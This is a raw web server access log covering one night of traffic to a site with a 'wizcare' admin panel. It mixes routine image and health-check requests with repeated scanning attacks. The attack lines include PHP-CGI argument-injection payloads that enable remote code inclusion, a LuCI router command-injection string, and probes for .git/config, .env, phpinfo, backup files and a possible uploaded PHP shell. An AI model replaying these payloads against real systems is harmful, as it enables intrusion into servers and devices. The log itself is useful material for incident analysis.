[03/Dec/2024:17:33:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:17:46:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[03/Dec/2024:17:51:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:17:54:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:17:54:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:17:55:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:18:14:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:18:29:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[03/Dec/2024:18:34:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:18:42:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/.git/config HTTP/1.1" 300
[03/Dec/2024:18:51:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:19:14:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:19:30:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60kill+1%3B%60) HTTP/1.1" 300
[03/Dec/2024:19:30:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60kill+1%3B%60) HTTP/1.1" 300
[03/Dec/2024:19:33:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:19:48:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /_profiler/phpinfo HTTP/1.1" 300
[03/Dec/2024:19:49:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /_profiler/phpinfo HTTP/1.1" 300
[03/Dec/2024:19:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:19:54:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:19:56:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/fonts/glyphicons-halflings-regular.svg HTTP/1.1" 108738
[03/Dec/2024:19:57:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:19:58:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:20:34:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:20:51:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:20:54:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:21:07:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[03/Dec/2024:21:07:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:21:07:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:21:14:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:21:16:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:21:19:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:21:34:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:21:35:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/hidpi/logo_ckeditor.png HTTP/1.1" 13339
[03/Dec/2024:21:40:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-4.jpg HTTP/1.1" 17733
[03/Dec/2024:21:51:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:21:55:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:21:56:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/bed.png HTTP/1.1" 8998
[03/Dec/2024:21:59:49 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[03/Dec/2024:22:01:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:22:04:43 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[03/Dec/2024:22:14:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:22:26:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/icons.png HTTP/1.1" 12237
[03/Dec/2024:22:26:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.0" -
[03/Dec/2024:22:26:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:22:26:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:22:33:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:22:47:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/time1.php.bak HTTP/1.1" -
[03/Dec/2024:22:48:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1" 332
[03/Dec/2024:22:51:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:22:54:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:23:13:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[03/Dec/2024:23:13:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:23:13:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[03/Dec/2024:23:13:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:23:14:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/123.php HTTP/1.1" -
[03/Dec/2024:23:14:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:23:19:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/flash/images/placeholder.png HTTP/1.1" 256
[03/Dec/2024:23:25:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:23:26:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/menua/images/hero_1.jpg HTTP/1.1" 475413
[03/Dec/2024:23:33:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:23:37:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[03/Dec/2024:23:43:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:23:51:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:23:53:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/4f3.png HTTP/1.1" 67320
[03/Dec/2024:23:54:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:00:03:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:00:11:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/lock-open.png HTTP/1.1" 511
[04/Dec/2024:00:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:00:33:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/images/refresh.png HTTP/1.1" 422
[04/Dec/2024:00:33:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:00:52:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:00:54:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:01:04:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:01:04:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:01:05:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/123123(1).jpg HTTP/1.1" 36683
[04/Dec/2024:01:14:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:01:18:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[04/Dec/2024:01:18:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:01:19:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/menua/images/hero_3.jpg HTTP/1.1" 378707
[04/Dec/2024:01:30:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:01:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:01:51:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:01:54:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:02:06:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:02:14:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:02:33:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:02:35:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/images/more.png HTTP/1.1" 110
[04/Dec/2024:02:44:37 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:02:51:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:02:53:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:02:54:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:03:13:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:03:27:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/combo_arrow.png HTTP/1.1" 117
[04/Dec/2024:03:33:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:03:34:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:03:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:03:54:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:03:54:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:03:54:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:04:08:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:04:13:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:04:33:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:04:44:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/addbed.php.locked HTTP/1.1" -
[04/Dec/2024:04:44:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:04:51:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:04:53:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:04:54:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:04:54:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:04:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:04:54:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:04:54:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:04:54:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[04/Dec/2024:04:54:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:04:54:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:04:54:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[04/Dec/2024:04:54:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:04:57:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-6.jpg HTTP/1.1" 14717
[04/Dec/2024:04:59:46 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:05:13:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:05:27:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/2f3.png HTTP/1.1" 108761
[04/Dec/2024:05:34:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /find.php/%E5%A6%82%E4%BD%95%E9%80%B2%E8%A1%8C%E7%9B%B8%E5%B0%8D%E5%BC%B7%E5%BC%B1%E5%88%86%E6%9E%90-osdrghmzlbnafjiyecteqzj-2 HTTP/1.1" -
[04/Dec/2024:05:39:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:05:51:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:05:54:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:06:03:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/layout_arrows.png HTTP/1.1" 319
[04/Dec/2024:06:11:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:06:14:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:06:33:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:06:51:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:06:54:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:06:57:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:06:57:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:07:14:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:07:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[04/Dec/2024:07:33:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:07:44:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:07:49:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:07:51:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:07:54:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
